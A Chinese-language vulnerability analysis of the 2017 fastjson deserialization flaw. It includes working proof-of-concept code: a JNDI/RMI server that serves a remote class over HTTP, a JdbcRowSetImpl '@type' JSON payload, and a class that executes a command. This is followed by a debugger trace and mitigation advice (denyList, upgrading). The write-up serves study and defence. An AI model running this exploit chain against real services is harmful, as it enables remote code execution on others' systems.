一、概述
fastjson自2017年爆出序列化漏洞以來,漏洞就一直停不下來。本次主要研究2017年第一次爆出反序列化漏洞。
二、漏洞復現
首先在本機簡單進行下漏洞復現。
創建Poc類
該類為最終觸發利用代碼的類,因為是通過JAVA RMI方式讀取,所以該類需繼承UnicastRemoteObject。該對象執行后會在windows環境中彈出計算器。使用javac編譯Poc類,生成Poc.class文件。並啟用一個簡單的Http服務,提供讀取Poc.class文件,通過http://10.2.13.27:8888/Poc.class可成功訪問到Poc.class文件
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class Poc extends UnicastRemoteObject{ public Poc() throws RemoteException{ try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args){ try { Poc poc = new Poc(); }catch (Exception e){ e.printStackTrace(); } } }
創建RMI服務端
public class RMIService { public static void main(String[] args){ try { //netPoc poc = new Poc(); Registry registry = LocateRegistry.createRegistry(10999); //JdbcRowSetImpl中是通過jndi lookup方法進行代碼注入 Reference reference = new Reference("Poc","Poc","http://10.2.13.27:8888/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Poc",referenceWrapper); System.out.println("bind 10999...."); }catch (Exception e){ e.printStackTrace(); } } }
示例代碼
若Jdk版本高於8u113需要添加 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true") ,否則將不會成功。因為高版本jdk禁止了RMI協議使用遠程codebase。
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; /** * 利用JdbcRowSetImpl進行反序列化,但高版本jdk無法成功JDK 6u132, 7u122, or 8u113 * */ public class FastJsonService { public static void main(String[] args){ System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); //JdbcRowSetImpl String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}"; JSONObject jsonObject = JSON.parseObject(str); } }
運行效果
三、漏洞分析
3.1 總體分析
fastjson主要用來進行序列化和反序列化操作。本次漏洞利用主要是反序列化模塊,當我們傳入一個json字符串時
"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://10.2.13.27:10999/Poc\", \"autoCommit\":true}";
因json中指定了@type參數,故fastjson會嘗試將該字符串反序列化為JdbcRowSetImpl類對象,並調用類中的set方法對dataSourceName和autoCommit屬性進行賦值。
fastjson進行反序列化時,如果類中存在無參構造函數,則直接調用無參構造函數進行初始化類。若不存在無參構造函數,則會尋找參數最多的構造函數進行初始化類。
故會直接調用JdbcRowSetImpl類中的無參構造函數進行類初始化。可看到conn設置為null。所以setAutoCommit方法會進入else中,即調用 this.conn = this.connect();
在connect()中可以看到會調用JNDI的lookup函數,並且參數值為我們反序列化時傳入的dataSourceName屬性,dataSourceName傳入值為rmi://10.2.13.27:10999/Poc,所以最終會成功執行到我們編寫的Poc類。
3.2 詳細分析
首先,借用別人畫的fastjson部分類關系圖
鑒於我們的Payload最終是 Runtime.getRuntime.exec("calc") ,所以我們在Runtime類的exec方法中設置斷點並啟動調試模式
完整調用路徑如下圖,我們跟蹤下調用過程
1.JSON
首先調用JSON對象,依次為 parseObject(String text)-->parse(String text)->parse(String text,int featrues) ,其中text為我們輸入的 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989
在parse(String text,int features)中調用 DefaultJSONParser parser=new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features);
首先初始化了一個DefaultJSONParser的對象,調用的是DefaultJSONParser的三參數構造函數,在DefaultJSONParser構造函數中調用了 new JSONScanner(input,features)
其中input即為我們的輸入 {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.170.158.31:10999/Poc", "autoCommit":true} ,features為989
隨后調用 DefaultJSONParser(Object input,JSONLexer lexer,ParserConfig config)
主要將上一步生成的JSONScanner對象賦值給JSONlexer對象lexer並進行一些初始化操作,ch設置為‘{’,token設置為JSONTOKEN.LBRACE即12
至此 new DefaultJSONParser(text,ParserConfig.getGlobalInstance(),features) 完成。
下一步進入JSON類的 parse(String text,int features) 的 Object value=parser.parse() ,即DefaultJSONParse類的parse()方法
2.DefaultJSONParse
繼續進入 parse()--》parse(ObjectfieldName) ,上一步DefaultJSONParse初始化時,token設置成JSONTOKEN.LBRACE
隨后進入 parseObject(object,fieldName) ,通過 scanSymbol 獲取到 “@type”
再獲取到我們payload中@type的值為"com.sun.rowset.JdbcRowSetImpl",並通過loadClass加載
隨后進入
3. JavaBeanDeserializer
進入JavaBeanDeserializer的deserialze方法,並執行到 boolean match = parseField(parser, key, object, type, fieldValues);
一路跟蹤,最后進入 public void setValue(Object object, Object value) 方法,method即為我們傳入的JdbcRowSetImpl.setAutoCommit,value即為true。最終會調用傳入類的set方法進行賦值,即最終調用setAutoCommit(true)。
至此,就進入我們在3.1中對jdbcRowSetImpl類的setAutoCommit方法的分析,最終導致了遠程代碼執行。
四、漏洞預防
fastjson在1.2.25開始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList數組中的類均無法進行反序列化。但仍然存在繞過checkAutoType方法的途徑,后續再分析。
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
若要避免fastjson已知漏洞,請直接升級到最新版。